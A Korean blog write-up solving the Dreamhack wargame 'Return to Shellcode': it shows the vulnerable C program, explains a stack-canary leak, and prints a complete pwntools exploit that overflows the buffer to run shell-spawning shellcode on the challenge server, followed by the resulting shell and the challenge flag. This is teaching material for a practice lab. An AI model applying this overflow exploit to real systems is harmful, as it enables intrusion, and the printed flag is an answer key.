[Dreamhack] Return to Shellcode

#코딩노예#·2022년 7월 15일
0

먼저 문제 파일에 걸린 방어기법을 확인해보면

 ⚡ root  ~/Downloads/dreamhack/Return_to_Shellcode  checksec r2s
[*] '/root/Downloads/dreamhack/Return_to_Shellcode/r2s'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

카나리 방어기법이 걸려있습니다.


문제 코드를 보면

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);	// buf의 주소 출력
  printf("Distance between buf and $rbp: %ld\n",	// buf와 rbp 사이의 거리 출력
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);	// 0x100 Byte 만큼 입력을 받음
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);	// 크기에 제한 없이 입력을 받음

  return 0;
}

 ⚡ root  ~/Downloads/dreamhack/Return_to_Shellcode  ./r2s 
Address of the buf: 0x7ffe30862370
Distance between buf and $rbp: 96
[1] Leak the canary
Input:
  • r2s를 실행시켜보면 buf ~ rbp 사이의 거리가 96 Byte 밖에 안되는데, read로 256 Byte 만큼 입력을 받고 있기 때문에, 카나리 릭을 할 수 있습니다.

  • 그리고 gets() 함수로 크기에 제한 없이 입력을 받고 있어서 RET까지 조작을 할 수 있습니다.


먼저 메모리 구조를 그려보면


다음으로 카나리 릭을 해보면

첫번째 입력에서 89 바이트를 입력하면 카나리 앞의 NULL이 제거되면서 printf("Input: ");에 의해서 카나리 값을 얻을 수 있습니다.


익스플로잇 코드를 짜 보면

from pwn import *
 
def slog(name, addr):
  return success(": ".join([name, hex(addr)]))
 
 
#context.log_level = 'debug'
context.arch = "amd64"
 
p = remote("host3.dreamhack.games", 22998)
e = ELF("./r2s")
 
shellcode = asm(shellcraft.sh())
 
 
# Get buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
 
 
# Canary Leak
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
 
slog("buf", buf)
slog("canary", canary)
 
 
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
 
p.sendlineafter("Input: ", payload)
 
p.interactive()

익스플로잇 코드를 실행해보면

ion  ~/wargame/dreamhack/pwnable/Return_to_Shellcode  python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 22998: Done
[*] '/home/ion/wargame/dreamhack/pwnable/Return_to_Shellcode/r2s'
   Arch:     amd64-64-little
   RELRO:    Full RELRO
   Stack:    Canary found
   NX:       NX disabled
   PIE:      PIE enabled
   RWX:      Has RWX segments
[+] buf: 0x7ffe04ea4a60
[+] canary: 0xf28d3bc5a2a37200
[*] Switching to interactive mode
$

공격에 성공해서 쉘이 떴고


플래그 파일을 출력해보면

$ ls
flag
r2s
$ cat flag
DH{333eb89c9d2615dd8942ece08c1d34d5}

정상적으로 출력되었습니다.

0개의 댓글